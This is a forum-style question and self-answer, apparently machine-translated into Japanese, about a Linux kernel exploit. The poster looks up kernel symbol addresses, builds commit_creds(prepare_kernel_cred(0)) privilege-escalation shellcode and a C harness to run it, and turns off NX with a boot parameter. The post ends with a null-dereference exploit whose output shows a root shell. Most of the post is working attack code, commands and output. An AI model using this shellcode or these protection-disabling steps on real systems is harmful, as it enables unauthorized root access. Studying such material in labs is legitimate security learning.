カーネルエクスプロイトの記述方法を学習していますが、私のシェルコードでsegが失敗します。
Commit_creds(prepare_kernel_cred(0));のメモリアドレスを取得しています。
#grep commit_creds /proc/kallsyms
c907eea0 T commit_creds
#grep prepare_kernel_cred /proc/kallsyms
c907f1d0 T prepare_kernel_cred
shellcode.s
main:
xor %eax,%eax
call 0xc907f1d0
call 0xc907eea0
ret
シェルコードをコンパイル:
gcc -fno-stack-protector -m32 -z execstack -N -o payload payload.s -nostdlib -Ttext = 0
objdump -dシェルコード
payload: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: 31 c0 xor %eax,%eax
2: e8 c9 f1 07 c9 call c907f1d0 <__bss_start+0xc907f158>
7: e8 94 ee 07 c9 call c907eea0 <__bss_start+0xc907ee28>
c: c3
Shell.c
#include<stdio.h>
#include<string.h>
const char shellcode[] = "\x31\xc0\xe8\xc9\xf1\x07\xc9\xe8\x94\xee\x07\xc9\xc3";
int main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
return 0;
}
gcc -fno-stack-protector -z execstack -m32 Shell.c -o Shell
./シェル
出力:
Shellcode Length: 13
Segmentation fault
X86でクラッシュする理由がわかりません。
助けてください。
カーネルターミナルでNX Executeをオフにするだけでよいことがわかりました。
eを押してLinux行でnoexec = offと入力し、F-10を押して起動し、エクスプロイトをコンパイルします。
gcc -m32 -fno-stack-protector -z execstack w00t.c -o w00t
また、segfaultingを続けていたため、シェルコードをテストする必要もありませんでした。
しかしそれはうまくいった!私は根を手に入れた!
出力:
root@kali:~/null_dereference# su blake
blake@kali:/root/null_dereference$ ./w00t
[-] Allocating memory.
[-] Copying shellcode into memory.
[-] Opening file descriptor.
*** BANG ***
------------
[+] YOU ARE ROOT
# id
uid=0(root) gid=0(root) groups=0(root)